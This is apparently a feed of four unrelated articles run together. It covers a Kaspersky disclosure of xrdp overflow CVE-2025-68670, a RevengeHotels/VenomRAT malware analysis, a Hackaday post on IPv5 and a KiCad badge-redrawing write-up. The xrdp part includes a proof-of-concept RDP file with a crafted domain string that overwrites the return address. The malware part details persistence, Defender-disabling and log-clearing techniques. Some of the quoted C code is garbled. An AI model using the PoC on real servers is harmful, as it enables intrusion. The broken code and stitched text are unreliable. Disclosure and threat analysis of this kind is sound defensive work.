In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;

// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}

while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}

v n -= u8len;
v += u8len;
}

else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}

r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];

/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

• 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
• 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
• 12/15/2025: investigation and prioritization of the vulnerability began.
• 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
• 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
• 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…

Background

RevengeHotels, also known as TA558, is a threat group that has been active since 2015, stealing credit card data from hotel guests and travelers. RevengeHotels’ modus operandi involves sending emails with phishing links which redirect victims to websites mimicking document storage. These sites, in turn, download script files to ultimately infect the targeted machines. The final payloads consist of various remote access Trojan (RAT) implants, which enable the threat actor to issue commands for controlling compromised systems, stealing sensitive data, and maintaining persistence, among other malicious activities.

In previous campaigns, the group was observed using malicious emails with Word, Excel, or PDF documents attached. Some of them exploited the CVE-2017-0199 vulnerability, loading Visual Basic Scripting (VBS), or PowerShell scripts to install customized versions of different RAT families, such as RevengeRAT, NanoCoreRAT, NjRAT, 888 RAT, and custom malware named ProCC. These campaigns affected hotels in multiple countries across Latin America, including Brazil, Argentina, Chile, and Mexico, but also hotel front-desks globally, particularly in Russia, Belarus, Turkey, and so on.

Later, this threat group expanded its arsenal by adding XWorm, a RAT with commands for control, data theft, and persistence, amongst other things. While investigating the campaign that distributed XWorm, we identified high-confidence indicators that RevengeHotels also used the RAT tool named DesckVBRAT in their operations.

In the summer of 2025, we observed new campaigns targeting the same sector and featuring increasingly sophisticated implants and tools. The threat actors continue to employ phishing emails with invoice themes to deliver VenomRAT implants via JavaScript loaders and PowerShell downloaders. A significant portion of the initial infector and downloader code in this campaign appears to be generated by large language model (LLM) agents. This suggests that the threat actor is now leveraging AI to evolve its capabilities, a trend also reported among other cybercriminal groups.

The primary targets of these campaigns are Brazilian hotels, although we have also observed attacks directed at Spanish-speaking markets. Through a comprehensive analysis of the attack patterns and the threat actor’s modus operandi, we have established with high confidence that the responsible actor is indeed RevengeHotels. The consistency of the tactics, techniques, and procedures (TTPs) employed in these attacks aligns with the known behavior of RevengeHotels. The infrastructure used for payload delivery relies on legitimate hosting services, often utilizing Portuguese-themed domain names.

Initial infection

The primary attack vector employed by RevengeHotels is phishing emails with invoicing themes, which urge the recipient to settle overdue payments. These emails are specifically targeted at email addresses associated with hotel reservations. While Portuguese is a common language used in these phishing emails, we have also discovered instances of Spanish-language phishing emails, indicating that the threat actor’s scope extends beyond Brazilian hospitality establishments and may include targets in Spanish-speaking countries or regions.

Example of a phishing email about a booking confirmation

In recent instances of these attacks, the themes have shifted from hotel reservations to fake job applications, where attackers sent résumés in an attempt to exploit potential job opportunities at the targeted hotels.

Malicious implant

The malicious websites, which change with each email, download a WScript JS file upon being visited, triggering the infection process. The filename of the JS file changes with every request. In the case at hand, we analyzed Fat146571.js (fbadfff7b61d820e3632a2f464079e8c), which follows the format Fat\{NUMBER\}.js, where “Fat” is the beginning of the Portuguese word “fatura”, meaning “invoice”.

The script appears to be generated by a large language model (LLM), as evidenced by its heavily commented code and a format similar to those produced by this type of technology. The primary function of the script is to load subsequent scripts that facilitate the infection.

A significant portion of the new generation of initial infectors created by RevengeHotels contains code that seems to have been generated by AI. These LLM-generated code segments can be distinguished from the original malicious code by several characteristics, including:

• The cleanliness and organization of the code
• Placeholders, which allow the threat actor to insert their own variables or content
• Detailed comments that accompany almost every action within the code
• A notable lack of obfuscation, which sets these LLM-generated sections apart from the rest of the code

AI generated code in a malicious implant as compared to custom code

Second loading step

Upon execution, the loader script, Fat\{NUMBER\}.js, decodes an obfuscated and encoded buffer, which serves as the next step in loading the remaining malicious implants. This buffer is then saved to a PowerShell (PS1) file named SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1 (d5f241dee73cffe51897c15f36b713cc), where “\{TIMESTAMP\}” is a generated number based on the current execution date and time. This ensures that the filename changes with each infection and is not persistent. Once the script is saved, it is executed three times, after which the loader script exits.

The script SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1 runs a PowerShell command with Base64-encoded code. This code retrieves the cargajecerrr.txt (b1a5dc66f40a38d807ec8350ae89d1e4) file from a remote malicious server and invokes it as PowerShell.

This downloader, which is lightly obfuscated, is responsible for fetching the remaining files from the malicious server and loading them. Both downloaded files are Base64-encoded and have descriptive names: venumentrada.txt (607f64b56bb3b94ee0009471f1fe9a3c), which can be interpreted as “VenomRAT entry point”, and runpe.txt (dbf5afa377e3e761622e5f21af1f09e6), which is named after a malicious tool for in-memory execution. The first file, venumentrada.txt, is a heavily obfuscated loader (MD5 of the decoded file: 91454a68ca3a6ce7cb30c9264a88c0dc) that ensures the second file, a VenomRAT implant (3ac65326f598ee9930031c17ce158d3d), is correctly executed in memory.

The malicious code also exhibits characteristics consistent with generation by an AI interface, including a coherent code structure, detailed commenting, and explicit variable naming. Moreover, it differs significantly from previous samples, which had a structurally different, more obfuscated nature and lacked comments.

Exploring VenomRAT

VenomRAT, an evolution of the open-source QuasarRAT, was first discovered in mid-2020 and is offered on the dark web, with a lifetime license costing up to $650. Although the source code of VenomRAT was leaked, it is still being sold and used by threat actors.

VenomRAT packages on the dark web

According to the vendor’s website, VenomRAT offers a range of capabilities that build upon and expand those of QuasarRAT, including HVNC hidden desktop, file grabber and stealer, reverse proxy, and UAC exploit, amongst others.

As with other RATs, VenomRAT clients are generated with custom configurations. The configuration data within the implant (similar to QuasarRAT) is encrypted using AES and PKCS #5 v2.0, with two keys employed: one for decrypting the data and another for verifying its authenticity using HMAC-SHA256. Throughout the malware code, different sets of keys and initialization vectors are used sporadically, but they consistently implement the same AES algorithm.

Anti-kill

It is notable that VenomRAT features an anti-kill protection mechanism, which can be enabled by the threat actor upon execution. Initially, the RAT calls a function named EnableProtection, which retrieves the security descriptor of the malicious process and modifies the Discretionary Access Control List (DACL) to remove any permissions that could hinder the RAT’s proper functioning or shorten its lifespan on the system.

The second component of this anti-kill measure involves a thread that runs a continuous loop, checking the list of running processes every 50 milliseconds. The loop specifically targets those processes commonly used by security analysts and system administrators to monitor host activity or analyze .NET binaries, among other tasks. If the RAT detects any of these processes, it will terminate them without prompting the user.

List of processes that the malware looks for to terminate

The anti-kill measure also involves persistence, which is achieved through two mechanisms written into a VBS file generated and executed by VenomRAT. These mechanisms ensure the malware’s continued presence on the system:

1. Windows Registry: The script creates a new key under HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce, pointing to the executable path. This allows the malware to persist across user sessions.
2. Process: The script runs a loop that checks for the presence of the malware process in the process list. If it is not found, the script executes the malware again.

If the user who executed the malware has administrator privileges, the malware takes additional steps to ensure its persistence. It sets the SeDebugPrivilege token, enabling it to use the RtlSetProcessIsCritical function to mark itself as a critical system process. This makes the process “essential” to the system, allowing it to persist even when termination is attempted. However, when the administrator logs off or the computer is about to shut down, VenomRAT removes its critical mark to permit the system to proceed with these actions.

As a final measure to maintain persistence, the RAT calls the SetThreadExecutionState function with a set of flags that forces the display to remain on and the system to stay in a working state. This prevents the system from entering sleep mode.

Separately from the anti-kill methods, the malware also includes a protection mechanism against Windows Defender. In this case, the RAT actively searches for MSASCui.exe in the process list and terminates it. The malware then modifies the task scheduler and registry to disable Windows Defender globally, along with its various features.

Networking

VenomRAT employs a custom packet building and serialization mechanism for its networking connection to the C2 server. Each packet is tailored to a specific action taken by the RAT, with a dedicated packet handler for each action. The packets transmitted to the C2 server undergo a multi-step process:

1. The packet is first serialized to prepare it for transmission.
2. The serialized packet is then compressed using LZMA compression to reduce its size.
3. The compressed packet is encrypted using AES-128 encryption, utilizing the same key and authentication key mentioned earlier.

Upon receiving packets from the C2 server, VenomRAT reverses this process to decrypt and extract the contents.

Additionally, VenomRAT implements tunneling by installing ngrok on the infected computer. The C2 server specifies the token, protocol, and port for the tunnel, which are sent in the serialized packet. This allows remote control services like RDP and VNC to operate through the tunnel and to be exposed to the internet.

USB spreading

VenomRAT also possesses the capability to spread via USB drives. To achieve this, it scans drive letters from C to M and checks if each drive is removable. If a removable drive is detected, the RAT copies itself to all available drives under the name My Pictures.exe.

Extra stealth steps

In addition to copying itself to another directory and changing its executable name, VenomRAT employs several stealth techniques that distinguish it from QuasarRAT. Two notable examples include:

• Deletion of Zone.Identifier streams: VenomRAT deletes the Mark of the Web streams, which contain metadata about the URL from which the executable was downloaded. By removing this information, the RAT can evade detection by security tools like Windows Defender and avoid being quarantined, while also eliminating its digital footprint.
• Clearing Windows event logs: The malware clears all Windows event logs on the compromised system, effectively creating a “clean slate” for its operations. This action ensures that any events generated during the RAT’s execution are erased, making it more challenging for security analysts to detect and track its activities.

Victimology

The primary targets of RevengeHotels attacks continue to be hotels and front desks, with a focus on establishments located in Brazil. However, the threat actors have been adapting their tactics, and phishing emails are now being sent in languages other than Portuguese. Specifically, we’ve observed that emails in Spanish are being used to target hotels and tourism companies in Spanish-speaking countries, indicating a potential expansion of the threat actor’s scope. Note that among earlier victims of this threat are such Spanish-speaking countries as Argentina, Bolivia, Chile, Costa Rica, Mexico, and Spain.

It is important to point out that previously reported campaigns have mentioned the threat actor targeting hotel front desks globally, particularly in Russia, Belarus, and Turkey, although no such activity has yet been detected during the latest RevengeHotels campaign.

Conclusions

RevengeHotels has significantly enhanced its capabilities, developing new tactics to target the hospitality and tourism sectors. With the assistance of LLM agents, the group has been able to generate and modify their phishing lures, expanding their attacks to new regions. The websites used for these attacks are constantly rotating, and the initial payloads are continually changing, but the ultimate objective remains the same: to deploy a remote access Trojan (RAT). In this case, the RAT in question is VenomRAT, a privately developed variant of the open-source QuasarRAT.

Kaspersky products detect these threats as HEUR:Trojan-Downloader.Script.Agent.gen, HEUR:Trojan.Win32.Generic, HEUR:Trojan.MSIL.Agent.gen, Trojan-Downloader.PowerShell.Agent.ady, Trojan.PowerShell.Agent.aqx.

Indicators of compromise

fbadfff7b61d820e3632a2f464079e8c Fat146571.js
d5f241dee73cffe51897c15f36b713cc SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_{TIMESTAMP}.ps1
1077ea936033ee9e9bf444dafb55867c cargajecerrr.txt
b1a5dc66f40a38d807ec8350ae89d1e4 cargajecerrr.txt
dbf5afa377e3e761622e5f21af1f09e6 runpe.txt
607f64b56bb3b94ee0009471f1fe9a3c venumentrada.txt
3ac65326f598ee9930031c17ce158d3d deobfuscated runpe.txt
91454a68ca3a6ce7cb30c9264a88c0dc deobfuscated venumentrada.txt

securelist.com/revengehotels-a…

If you’ve ever been configuring a router or other network device and noticed that you can set up IPv4 and IPv6, you might have wondered what happened to IPv5. Well, thanks to [Navek], you don’t have to wonder anymore. Just watch the video below.

We will warn you of two things. First, the video takes a long time to get around to what IPv5 was. In addition, if you keep reading, there will be spoilers.

The first part of the video covers the general differences between IPv4 and IPv6, especially surrounding addressing. Then, it talks about how IP alone can’t do things you like to do for handling things like voice. For example, the IP layer doesn’t understand how much bandwidth exists between two points. It is only concerned with moving data from one point to another point.

To foster voice communications, there was a proposal for something called the stream protocol. It didn’t catch on. In fact, it was reincarnated as a proposal to move video, too, but it still didn’t catch on. However, the network header used the next number in sequence, which was… five!

So, really, the video title is a bit of a red herring. You didn’t forget IPv5; there simply was never an IPv5. There is, however, network protocol #5, which has little to do with IP and never caught on.

Still, an interesting walk down memory lane to a time when moving voice and video over the network was exotic high-tech. We love diving into the old network stuff like finger and UUCP.

youtube.com/embed/y-zeYSQdpCE?…

hackaday.com/2025/03/09/ipv4-i…

Out of curiosity, I redrew the Supercon Vectorscope badge schematics in KiCad last year. As you might suspect, going from PCB to schematic is opposite to the normal design flow of KiCad and most other PCB design tools. As a result, the schematics and PCB of the Vectorscope project were not really linked. I decided to try it again this year, but with the added goal of making a complete KiCad project. As usual, [Voja] provided a well drawn schematic diagram in PDF and CorelDRAW formats, and a PCB design using Altium’s Circuit Maker format (CSPcbDoc file). And for reference, this year I’m using KiCad v8 versus v7 last year.

Importing into KiCad

This went smoothly. KiCad imports Altium files, as I discovered last year. Converting the graphic lines to traces was easier than before, since the graphical lines are deleted in the conversion process. There was a file organizational quirk, however. I made a new, empty project and imported the Circuit Maker PCB file. It wasn’t obvious at first, but the importing action didn’t make use the new project I had just made. Instead, it created a completely new project in the directory holding the imported Circuit Maker file. This caused a lot of head scratching when I was editing the symbol and footprint library table files, and couldn’t figure out why my edits weren’t being seen by KiCad. I’m not sure what the logic of this is, was an easy fix once you know what’s going on. I simply copied everything from the imported project and pasted it in my new, empty project.

While hardly necessary for this design, you can also import graphics into a KiCad schematic in a similar manner to the PCB editor. First, convert the CorelDRAW file into DXF or SVG — I used InkScape to make an SVG. Next do Import -> Graphics in the Kicad schematic editor. However, you immediately realize that, unlike the PCB editor, the schematic editor doesn’t have any concept of drawing layers. As a work around, you can instead import graphics into a new symbol, and place this symbol on a blank page. I’m not sure how helpful this would be in tracing out schematics in a real world scenario, since I just drew mine from scratch. But it’s worth trying if you have complex schematics.

Note: this didn’t work perfectly, however. For some reason, the text doesn’t survive being imported into KiCad. I attribute this to my poor InkScape skills rather than a shortcoming in KiCad or CorelDRAW. Despite having no text, I put this symbol on its own page in sheet two of the schematic, just for reference to see how it can be done.

Just like last year, the footprints in the Circuit Maker PCB file were imported into KiCad in a seemingly random manner. Some footprints import as expected. Others are imported such that each individual pad is a standalone footprint. This didn’t cause me any problems, since I made all new footprints by modifying standard KiCad ones. But if you wanted to save such a footprint-per-pad part into a single KiCad footprint, it would take a bit more effort to get right.

Recreating Schematics and Parts

After redrawing the schematics, I focused on getting the part footprints sorted out. I did them methodically one by one. The process went as follows for each part:

• Start with the equivalent footprint from a KiCad library
• Duplicate it into a local project library
• Add the text SAO to the footprint name to avoid confusion.
• Position and align the part on the PCB atop the imported footprint
• Note and adjust for any differences — pad size and/or shape, etc.
• Update the part in the project library
• Attach it to the schematic symbols in the usual manner.
• Delete the imported original footprint (can be tricky to select)

Some parts were more interesting than others. For example, the six SAO connectors are placed at various non-obvious angles around the perimeter. I see that [Voja] slipped up once — the angle between connectors 4 and 5 is at a definitely non-oddball angle of 60 degrees.

SAO Angle Difference
#1 326 102 6->1
#2 8 42 1->2
#3 61 53 2->3
#4 118 57 3->4
#5 178 60 4->5
#6 224 46 5->6

With all this complete, the PCB artwork consists of all new footprints but uses the original traces. I needed to tweak a few traces here and there, but hopefully without detracting too much from [Voja]’s style. Speaking of style, for those interested in giving that free-hand look to hand-routed tracks in KiCad, check the options in the Interactive Router Settings menu. Choose the Highlight collisions / Free angle mode and set the PCB grid to a very small value. Free sketch away.

Glitches

I used two photos of the actual board to check when something wasn’t clear. One such puzzle was the 3-pad SMT solder ball jumper. This was shown on the schematic and on the fully assembled PCB, but it was not in the Circuit Maker design files. I assumed that the schematics and photos were the truth, and the PCB artwork was a previous revision. There is a chance that I got it backwards, but it’s an easy to fix if so. Adding the missing jumper took a bit of guesswork regarding the new and adjusted traces, because they were hard to see and/or underneath parts in the photo. This redrawn design may differ slightly in appearance but not in functionality.

DRC checks took a little more iterating than usual, and at one point I did something to break the edge cuts layer. The irregular features on this PCB didn’t help matters, but I eventually got everything cleaned up.

I had some trouble sometimes assigning nets to the traces. If I was lucky, putting the KiCad footprint on top of the traces assigned them their net names. Other times, I had traces which I had to manually assign to a net. This operation seemed to work sporatically, and I couldn’t figure out why. I was missing a mode that I remember from another decade in a PCB tool, maybe PCAD?, where you would first click on a net. Then you just clicked on any number of other items to stitch them into the net. In KiCad it is not that simple, but understandable given the less-frequent need for this functionality.

You may notice the thru hole leads on the 3D render are way too long. Manufacturers provide 3D files describing the part as they are shipped, which reasonably includes the long leads. They are only trimmed at installation. The virtual technician inside KiCad’s 3D viewer works at inhuman speeds, but has had limited training. She can install or remove all through hold or SMT parts on the board, in the blink of an eye. She can reposition eight lamps and change the background color in mere seconds. These are tasks that would occupy a human technician for hours. But she doesn’t know how to trim the leads off of thru hole parts. Maybe that will come in future versions.

Project Libraries

I like to extract all symbols, part footprints, and 3D files into separate project libraries when the design wraps up. KiCad experts will point out that for several versions now this is not necessary. All (or most) of this information is now stored in the design files, alghouth with one exception — the 3D files. Even so, I still feel safer making these project libraries, probably because I understand the process.

KiCad can now do this with a built-in function. See the Export -> Symbols to New Library and Export -> Footprints to New Library in the schematic and PCB editors, respectively. These actions give you the option to additionally change all references in the design to use this new library. This didn’t work completely for me, for reasons unclear. Eventually I just manually edited the sch and pcb file and fixed the library names with a search and replace operation.

Hint: When configuring project libraries in KiCad, I always give them a nickname that begins with a dot. For example, .badge24 or .stumbler. This always puts project libraries at the top of the long list of libraries, and it makes it easier to do manual search and replaces in the design files if needed.

What about 3D files, you say? That isn’t built into KiCad, but have no fear. [Mitja Nemec] has you covered with the Archive 3D Models KiCad plugin. It was trivial to activate and use in KiCad’s Plugin and Content Manager.

All Done

In the end, the design passed all DRCs, and I could run Update PCB from Schematic... without errors. I went out on a limb and immediately placed an order for five PCBs, hoping I hadn’t overlooked something. But it’s only US$9.00 risk. They are on the way from China as I type this.

All the files can be found in this GitHub repo. If you find any errors, raise an issue there. I have not done this procedure for any of the SAO petals, but when I do, I will place a link in the repository.
Schematics showing jumper